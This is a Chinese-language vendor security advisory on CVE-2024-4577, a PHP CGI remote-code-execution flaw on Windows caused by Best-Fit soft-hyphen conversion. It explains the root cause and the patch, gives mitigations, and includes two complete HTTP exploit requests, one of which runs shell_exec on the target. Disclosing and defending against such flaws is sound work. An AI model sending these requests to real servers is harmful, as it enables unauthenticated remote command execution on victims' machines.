漏洞概述
PHP CGI(Common Gateway Interface)是在Windows平臺上運行PHP的一種方式。CGI是一種標準接口,允許Web服務器與外部應用程序(如PHP腳本)進行交互,從而生成動態網頁內容。
近期,PHP發布安全更新,修復了PHP CGI Windows平臺遠程代碼執行漏洞(CVE-2024-4577),目前該漏洞的細節已公開。鑒于該漏洞易于利用,且可遠程執行命令,建議所有受影響的企業盡快升級修復。
該漏洞產生的原因是繞過了CVE-2012-1823對字符"-"的過濾,忽視了Windows系統內部字符編碼轉換的Best-Fit特性,當PHP運行在Windows平臺且使用繁體中文、簡體中文、日語三種語言系統時,未經身份驗證的攻擊者可以構造惡意請求繞過PHP原本的安全限制,通過參數注入攻擊在PHP服務器上遠程執行任意代碼。
受影響版本
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
受影響資產
該漏洞關聯的web服務資產總數為134318個,獨立IP數為61655個。
漏洞分析
回顧CVE-2012-1823漏洞,該漏洞是用戶將HTTP請求參數提交至Apache服務器,通過mod_cgi模塊交給php-cgi處理,從漏洞補丁可以看出,如果檢測到字符串開頭為"-"字符并且字符串不存在"="字符就設置skip_getopt = 1,那么整個查詢字符串將作為CGI的參數進行傳遞,攻擊者可以向后端的php-cgi解析程序提交惡意數據,php-cgi會將惡意數據當做php參數直接執行。
編碼轉換中的"Best-Fit"特性是指在將字符從一個字符編碼轉換到另一個字符編碼時,如果目標編碼中沒有直接對應的字符,轉換過程會嘗試找到一個"最佳匹配"的字符來代替原始字符,而不是替換為一個錯誤字符或占位符字符。即使在目標編碼系統中沒有完全等價的字符,也能盡量保留原始文本的含義。
例如,Apache 會轉義實際的連字符 0x2D,但不會轉義“軟連字符”0xAD。如果CGI 處理程序收到軟連字符 (0xAD),CGI 處理程序將不會對其進行轉義,而是會將其傳遞給 PHP。然而,PHP 會將“軟連字符”解釋為真正的連字符,這允許攻擊者將以連字符開頭的命令行參數傳輸到 PHP 進程。
對應的編碼表信息https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt
根據CVE-2024-4577漏洞修復的信息來看,在cgi_main.c文件中,在原來邏輯的基礎上新增對Windows環境的判斷,并使用WideCharToMultiByte函數對請求參數進行寬字節轉換,將寬字符轉換成多字節字符。
在原本的PHP代碼當中,if(*p=='-'),過濾了'-'這個符號,在修復的代碼中限制對0x80以上的字符來修復這個問題,并且從注釋可以看出,如果get發送的請求字符串中不包含"=",那么Apache就會把請求作為cgi的參數傳到命令行。但這會導致惡意請求的命令行參數傳遞給php,如果直接處理傳參,那么會影響到以獨立腳本方式運行的PHP腳本。所以只有當開頭是'-'的時候才阻止傳遞參數。
并且xampp的默認配置中apache會把請求直接轉發給php-cgi,
結合上述特征,當我們使用%ad來代替'-'時,可以繞過參數檢測,構成參數注入(見下列poc)。
漏洞復現
1、漏洞環境,選擇xampp_php/8.1.25
2、復現詳情
poc1:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec('dir');?>
查詢參數:
%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input
查詢參數會變成:
-d cgi.force_redirect=XCANWIN -d allow_url_include=on -d auto_prepend_file=php://input
在該查詢參數中cgi.force_redirect 是 PHP 的一個配置指令,用于控制 PHP CGI 模式下的請求重定向行為。默認情況下,這個指令被設置為 1(即開啟),在此處該指令設置為XCANWIN,表示已經通過了某種安全機制。將包含遠程文件的函數allow_url_include設置為on,auto_prepend_file允許每個請求之前必須嘗試從php://input讀取數據并將其作為代碼執行。
復現結果:
Poc2:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23<?php die("Te"."sT");?>
查詢參數
%add+ allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input
查詢參數會變成:
-d allow_url_include=on -d auto_prepend_file=php://input
poc2對比poc1沒有重定向配置cgi.force_redirect,而在請求頭中定義REDIRECT-STATUS: XCANWIN,表示某種安全檢測已經觸發。查詢參數中將包含遠程文件的函數allow_url_include設置為on,auto_prepend_file允許每個請求之前必須嘗試從php://input讀取數據并將其作為代碼執行。
復現結果:
修復方案
1.官方已發布新版本8.3.8、8.2.20、8.1.29
2.對于無法升級PHP的用戶:
通過在Apache 服務器的配置文件中,添加以下規則來阻止攻擊。需要注意的是,這些規則僅對繁體中文、簡體中文和日語語言環境起到臨時緩解作用。在實際操作中,仍然建議更新到補丁版本或遷移架構。
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
3.對于使用 XAMPP for Windows 的用戶,如果確認不需要 PHP CGI 功能,可以通過修改以下 Apache HTTP Server 配置來避免受到該漏洞的影響
注釋掉相應行:
# ScriptAlias /php-cgi/ "C:/xampp/php/"
4.PHP-CGI已經是一種過時且易出問題的架構,建議遷移至更為安全的Mod-PHP、FastCGI 或是 PHP-FPM 等架構。
產品支持
網宿全站防護-WAF已第一時間支持對該漏洞利用攻擊的防護,并持續挖掘分析其他變種攻擊方式和各類組件漏洞,第一時間上線防護規則,縮短防護“空窗期”。